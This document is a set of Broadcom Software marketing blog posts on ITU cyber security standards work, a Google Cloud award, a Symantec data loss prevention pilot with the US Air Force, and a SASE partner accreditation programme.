I’m excited about what 2022 holds. Stay tuned for more exciting news from Broadcom Software. We realize you need a trusted software partner to help you navigate complexity and move your business forward. With our engineering-centered culture, we invest in building technology to modernize, optimize, and protect the largest global organizations in the world. Learn more about Broadcom Software here and stay up-to-date by following us on LinkedIn and Twitter.
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Broadcom Software is Helping Lead the Way
The improving landscape of global cyber standards
At Broadcom Software, we understand that for CISOs looking for global cyber security standards to support them in their work, recent years may have often felt like an uphill struggle. Our industry’s ‘Tower of Babel’ problem of an abundance of overlapping, uncoordinated, and competing definitions and standards has got worse rather than better. This has tended to make CISOs value their own choice of global, regional or national standards for addressing isolated aspects of the challenges they face. However it has also left them skeptical of the value of global standards for shaping their broader strategic thinking.
Harmonization has become even harder with the intensification of geopolitical competition around key technology standards. China set a new bar with its “China Standards 2035” plan, aspects of which many western countries fear risk fragmenting the Internet. The EU’s Internal Market Commissioner, Thierry Breton, stated in February: “We were too naive. We were open by default in the belief that things would go our way. But we can’t be open at any price.”
At Broadcom Software, we understand that for CISOs looking for global cyber security standards to support them in their work, recent years may have often felt like an uphill struggle.
Despite these challenges, I am actually more optimistic about the outlook for improving cyber security through global standards than I have been for some years. As Vice Chairman of a standardisation group, it is incumbent on me to seek a high level of participation from all countries. One reason that I am optimistic is that I am seeing Western countries responding positively to this competitive stimulus. For example, the U.S. is increasing its level of engagement in the form of the candidacy of Doreen Bogdan Martin (U.S.) to succeed the current Secretary General of the International Telecommunication Union (ITU), Houlin Zhao (China). Bogdan Martin is running against the rival candidacy of Rashid Ismailov (Russia) with the vote taking place at the ITU Plenipotentiary in September.
In case you’re not aware, the ITU is a specialized agency of the United Nations. Within the ITU, the Study Group 17 (SG17) covers all of its security standards work. Among other things, SG17 is responsible for ITU-T X.509, a cornerstone in designing applications relating to public key infrastructure (PKI). This is the underlying platform that enables encryption services world-wide.
The other reason I’m optimistic is the instructions given to SG17 by Resolution 50 of the World Telecommunications Standardization Assembly (WTSA-20) that was held in Geneva in March. Resolution 50 has real potential to help declutter the ‘Tower of Babel’ challenges of cyber security, connect the dots across the many silos of security standards, and enable enterprise CISOs to better execute on a secure cloud and digital transformation journey for their organizations.
Here's an abbreviated version of what the new Resolution 50, Instructions 5 and 6 mandate and why I think they can be a game-changer for cyber security:
Instruction 5: “to define a general/common set of security capabilities for each phase of information systems/networks/applications lifecycle, so that consequently security by design could be achieved for systems/networks/applications from day one.”
Instruction 6: “to design security architecture reference framework(s) with security functional components which could be considered as the basis of security architecture design for various systems/networks/applications in order to improve the quality of recommendations on security.”
This alignment of these two areas of security architecture standardization within the ITU – with its strong convening power across governments, the private sector, academia, civil society, technologists and regulators – is unprecedented in the modern era. It will also help coordination and collaboration with other standard bodies such as ISO and IEC, OASIS, ETSI, IETF, etc.
This work is directly relevant to enterprise CISOs. As a discipline, cyber security has always been – and still is – heavily focused on post-production cyber security operations. As we increasingly seek greater emphasis on security by design– as we ‘shift left’ in devops – the work of SG17 is providing the CISO with a new way of thinking about security transformation.
Merely recognising that SG17’s work could become relevant if vendors ever end up supporting the specs that arise might be a common way of thinking about standards. But it’s outdated in relation to this type of architecture-level standards work.
At Broadcom Software, we are more optimistic about global standards in cyber security than we have been for a long time.
For example, we already know from today’s XDR world just how limiting such a narrow focus on product rather than architecture level specifications can be. XDR products are marketed as capable of much more than the real world of interoperability in orchestration and automation actually allows them to deliver. Many XDR products are certainly very good at automated detection based on the vendor’s own signals. But very few CISOs are automating the ‘R’ of response today because the broader framework of supporting standards for automating across the IT estate is lacking and doesn’t really allow detection based on third party signals.
By starting out with a ‘big picture’ standardization mandate, SG17’s work is enabling CISOs and their teams to start thinking more strategically across their business now - and then evolve the strategy iteratively over time.
Without vendor-agnostic frameworks defining real world security orchestration and automation - and mapping them to how your own organization can actually use them - how can you arrive at the optimal balance between new investment in machine automation and new investment in the right kinds of skilled people?
At Broadcom Software, we are more optimistic about global standards in cyber security than we have been for a long time. Watch for more about how the work of SG17 is helping CISOs drive improvements in enterprise security in the coming months, and to learn more about how Broadcom Software can help you modernize, optimize and protect your enterprise – contact us here.
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Broadcom Software Named Google Cloud Customer of the Year
Our focus is business-critical software that modernizes, optimizes, and protects
I am very proud to share with you the news that Broadcom has received the Google Cloud Customer of the Year Award for 2021, further establishing us as a trusted partner to 10 out of the 10 largest global leaders. Broadcom Software offers leading business-critical solutions for infrastructure and security software that modernizes, optimizes, and protects the world's largest multinational companies
Google Cloud has been a trusted partner in Broadcom Software’s digital transformation journey and we’re honored that they’ve recognized our innovative thinking, technical excellence, and transformation. This award builds on the strategic partnership we announced earlier this year to deliver Broadcom’s security and enterprise software portfolio via Google Cloud’s trusted global infrastructure.
We partnered with Google Cloud to ensure that we could deliver our cloud-first software with speed, scale, and efficiency.
Leading the Industry
Today’s leading multinational companies face a daunting task: deliver powerful customer experiences, accelerate growth through new services, optimize for efficiency, and keep everything protected. Oftentimes the teams leading these initiatives are disconnected from one another. With the imperative of transforming how they do business, multinational companies are struggling to manage costs, connect initiatives, and drive their business forward.
We partnered with Google Cloud to ensure that we could deliver our cloud-first software with speed, scale, and efficiency. We are building a comprehensive portfolio of industry-leading business-critical software that modernizes, optimizes, and protects the world’s most complex hybrid environments, and Google Cloud is a trusted partner on this journey.
We knew that to meet our goal of delivering the best software in the industry, we needed to standardize the delivery of our wide portfolio of solutions:
Transforming the products to be cloud friendly
Enabling containerized environments
Enabling Kubernetes orchestration
We worked with Google to modernize and transform the products and move them onto the Google Cloud Platform.
Customer benefits
Through our partnership with Google Cloud, this SaaS transformation initiative offers our customers numerous benefits and advantages, including:
Time to value. We can onboard our users and solutions much faster.
Improved performance with cloud-native software.
More resilient and stable networking infrastructure.
The best possible user experience.
With its engineering-centered culture, Broadcom Software is building a comprehensive portfolio of industry-leading infrastructure and security software, including AIOps, Cyber Security, Value Stream Management, DevOps, Mainframe, and Payment Security. The Google Cloud Customer of the Year Award serves as a validation for our strategic direction, ensuring our software portfolio enables scalability, agility, and security for the largest global companies in the world.
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Broadcom Software Piloting Data Transformation for the US Air Force
Data security is as essential to US Federal agencies as it is to the enterprise
Data security is critical to any enterprise. And nowhere is that statement perhaps truer than when the enterprise is the United States Department of Defense (DoD).
The foundation of America's global security, the US Department of Defense is America's largest government agency. Its annual budget exceeds $750 billion and is a worldwide workforce of nearly 3 million manning operations in 4,800 locations in 160 countries. Its sheer size, scale, and complexity of operating environments make DoD a textbook case study for any enterprise digital transformation initiative.
So, it's exciting to share with you some highlights of a critical data security transformation pilot recently completed with the United States Air Force (USAF). The USAF often takes the lead in critical DoD technology projects, and this was no exception. This DLP and Insider Threat pilot provided several revealing discoveries as it demonstrated that the USAF could simplify the process of discovering, monitoring, and protecting critical data and information; providing the USAF with a DLP capability vital in the new DoD Zero Trust Framework. While the pilot focused on how data and critical information can be protected on the USAF’s unclassified networks, over the course of the pilot, the vendor team also proved that the capability can seamlessly expand across the USAF’s classified networks as well as providing USAF Cyber Operators with a single UI for protecting data across the entire enterprise.
Data as a Strategic Asset
The program’s success highlights the art-of-the-possible for the USAF to meet the objectives stated in a memorandum to all senior Pentagon leaders from US Deputy Secretary of Defense Kathleen Hicks in May 2021. It tasked the services with transforming the DoD into a "datacentric organization" by implementing industry best practices for secure authentication, access management, encryption, monitoring, and protection of data at rest, in transit, and in use.
Foresight to accomplish these objectives began in 2020, when the USAF recognized it needed better technology and programs for protecting its IP and its sensitive data. They issued a Request for Quote (RFQ) to Industry for a pilot program demonstrating a proven enterprise-scale Data Loss Prevention (DLP) and Insider Threat platform for protecting USAF data at rest and in motion throughout each of its network egress points – email, endpoint, cloud, network, and storage – managed by a single UI.
The RFQ requested that the winning vendor utilize a commercial DLP solution and that an Industry partner provide the design and managed services. This requirement was significant because the DoD recognized it needed to leverage Industry's ability to develop and deploy solutions faster in response to the speed and ingenuity of bad actors on the global stage attempting to penetrate and disrupt its national security systems.
A Winning Combination
In September 2020, the USAF pilot program was awarded with execution occurring at Joint Base San Antonio (JBSA)-Lackland, the USAF's premier cyber-security installation. The selected vendor team consisted of Broadcom Software for Federal, providing our marketing leading Symantec DLP solution and backend product expertise, with the front-end services delivery lead by Expert Advantage Program partner Infolock, and with Broadcom’s prime contractor partner, Iron Bow Technologies.
The solution selected was Broadcom Software's Symantec DLP Suite, bringing unique advantages to large and complicated operational environments like the DoD when it comes to protecting data and sensitive information. Benefits include a single policy management console across all communications channels, saving time and costs, allowing operators to write security and other critical DLP policies once and then publish them everywhere to every DLP sensor. As a central pillar of a Zero Trust, DLP also aligns with the Pentagon's strategic policy mandate to shift the USAF and the other services toward a Zero Trust Architecture.
This program was a winning combination of a market leading, best of breed solution (Symantec DLP) and a top-notch, white glove services team with the experience and determination to successfully deploy and integrate the solution into an environment as complex as the USAF. The pilot allowed us to showcase our advanced capabilities to protect data and sensitive information across an enterprise from cradle to grave, utilizing a single UI and policy set.
Billy Price - Broadcom Director – U.S. Air Force
Services Tour de Force
The pilot program ran through May 2021 and exceeded all technical requirements virtually from the start. Our team was able to quickly deploy, configure, and integrate the Symantec DLP and Insider Threat capability into the Air Force Network (AFNet). For the first time, USAF Cyber Operators had the tools to proactively defend its data, view and analyze risk through user activities and behavior, including the ability to scan file shares and use advanced detection capabilities to automatically review and classify data access at every phase of its use, at rest, or in transit.
The pilot demonstrated how Broadcom’s latest Symantec DLP innovations could transform the USAF's data security posture from a reactive to a proactive position. The difference in capabilities over the previous system was so immediately apparent that in a conference call early in the deployment, the USAF lead of the project exclaimed to the entire U.S. Air Force's pilot team leadership, "We can already do more than our current system!"
Key to the pilot's success was the team's programmatic professional services approach in which all parties to the solution played a key role. While Broadcom Software provided the product expertise and Iron Bow served as the prime contractor, our Expert Advantage Partner, Infolock, provided industry-leading managed services expertise to implement, deploy, and operate the DLP solution. The USAF completed the virtuous circle by offering their insights on their architecture, participating in discovery interviews, providing access, and product usability feedback.
Another "A-ha moment!" that came about as a result of Infolock’s commercial experience, was when Infolock showcased how the on-prem DLP solution is seamlessly integrated into the Symantec Cloud Access Security Broker (CASB) solution to extend DLP controls into the cloud. It represents a remarkable technology and services tour de force that extends the benefits of DLP beyond the initial U.S. Air Force requirements, protecting USAF data wherever it goes and/or wherever it is stored.
Next Steps
Looking ahead, the USAF and the rest of the DoD are focused on implementing data centric security models and meeting their Zero Trust requirements. As proven in the USAF Pilot, with the Symantec DLP solution and one of our Expert Advantage partners, accomplishing the strategic goal established by preparing to launch a DLP program of record for all its various networks. Further down the road, we can also expect to see DLP deployed across all DoD networks and providing more flexibility and scalability as they adopt cloud-based services as a key piece of a Zero Trust architecture essential to accomplishing that strategic goal established by Secretary Hicks where leaders at all levels have the ability to manage, understand, and responsibly share and protect data.
Broadcom Software, Symantec DLP and our services delivery teams demonstrated how the USAF could dramatically transform its data security posture within the backbone of one of the world's largest and most technically complex environments. Imagine how well it can improve data security in your enterprise.
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Thanks for reading. I invite you to stay tuned for the next article in this series. We'll discuss how our Expert Advantage Partner ecosystem drives the successful adoption of Modern UX design utilities and services. We'll discuss how they maximize and accelerate the time-to-value of application development teams for corporate enterprises.
To learn more:
USAF Enterprise Data Loss Prevention White Paper Download
Infolock Profile on Broadcom Software Expert Advantage Partner Finder
Broadcom Software Expert Advantage Partner Program
Broadcom Software Professional Services Video on LinkedIn
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Broadcom Software SASE Framework Partner Accreditation
Setting the bar high for our partners and customers
Secure Access Service Edge (SASE) is a combination of concepts, principles, and technologies that are designed to improve network performance and security in a world where users are remote and where they access applications and data that is spread across corporate data centers and multiple cloud platforms. While it’s nice to boil it down to an acronym, making SASE work requires a complex interplay of platforms and products.
To make that journey easier for our customers, Broadcom Software has embarked on an enterprise accreditation process to hone the skills of our integrator partners for designing and implementing our software into a data-centric SASE architecture. The goal is to deeply train a select number of partner organizations on the intricacies of how our cloud-based cybersecurity product line meshes with the SASE architecture.
How This Helps You
Let’s take a quick look at what the Broadcom Software SASE Framework solution can deliver to you:
A better user experience -- low latency, single-pass access to content and applications, through the SASE cloud, helps optimize a fast and consistent user experience.
Improved control over the cloud security stack – delivering an all-inclusive, relevant security stack as a service by streamlining policy, operations, vendor management, and reporting, improving compliance and reducing risk.
Enjoy the benefits of digital transformation -- gain flexibility, scale and quick access to the latest features and functionality while enabling an “anytime, any device, anywhere” workforce.
Improve Security Operations Center efficiency -- progressively reduce incidents requiring manual intervention while minimizing the impact of the current cybersecurity skills shortage.
A Broadcom Software SASE Framework Accredited Partner Is Dedicated to Your Success
For a partner organization pursuing enterprise-level SASE accreditation, the task is rigorous. First, it requires two resources at the Partner organization to achieve Broadcom Software “SASE Sales Master” certification. This involves attaining both Broadcom Software Proven Sales Professional and Certified Sales Expert credentials on each component product of the SASE framework. That means in-depth knowledge of our CloudSOC, DLP, Web Protection (ProxySG & WSS) and Web Isolation products. Then, each resource must attain additional SASE-specific Sales Professional and Sales Expert certification. It requires extensive training, followed by online assessments and customer presentation evaluations for each individual resource.
And that’s just the start. In addition to the two SASE Sales Masters noted above, to achieve this enterprise-level accreditation, each partner organization needs to have one Broadcom Software Knight for each of the component products, who are themselves a SASE Sales Master. Broadcom Software Knights are an organization of “technical champions” pooled from Broadcom Software’s most capable partners globally. The Knight designation is the highest level of recognition that Broadcom provides for partner individuals.
If you’re keeping score, that’s a minimum of 44 individual certifications between sales and technology personnel at a Broadcom Partner organization, just to meet the certification requirement.
Services Expertise Makes the Difference
Beyond the certification requirements, the accredited Broadcom Partner organization must also possess cross-technology integration experience and build an end-to-end SASE demonstration lab that demonstrates their mastery of use cases implementing the SASE framework.
Broadcom’s first fully accredited Partner for this corporate accreditation is Infolock. The company specializes in strategic data governance and tactical data management. That includes risk assessment, information security strategy and data loss prevention.
We are excited to be the first company to receive the Broadcom Software SASE Framework accreditation. InfoLock has made significant investments into our strategic partnership, and developed extensive knowledge and expertise around their security portfolio. Our understanding of the company's SASE offerings, combined with our industry expertise around data and cloud security, assures our prospective customers that we have the training and resources to architect a SASE solution tailored to their needs today, and in the future.
- Chris Wargo, Managing Partner, Infolock
The bottom line? Infolock is a pioneer in the data-centric SASE framework and implementation services. They, and future Broadcom Software SASE Framework accredited Partner companies, are paving the way for implementing complex solutions for securing your data and your personnel. Customers can rest assured that the tech consultant they hire knows how to handle a complex integration project across Broadcom Software’s product line. Equally important, these Partners know the technology deeply enough to be able to plan your SASE implementation for today – and tomorrow.
For more information: visit Broadcom Software’s partner page now.
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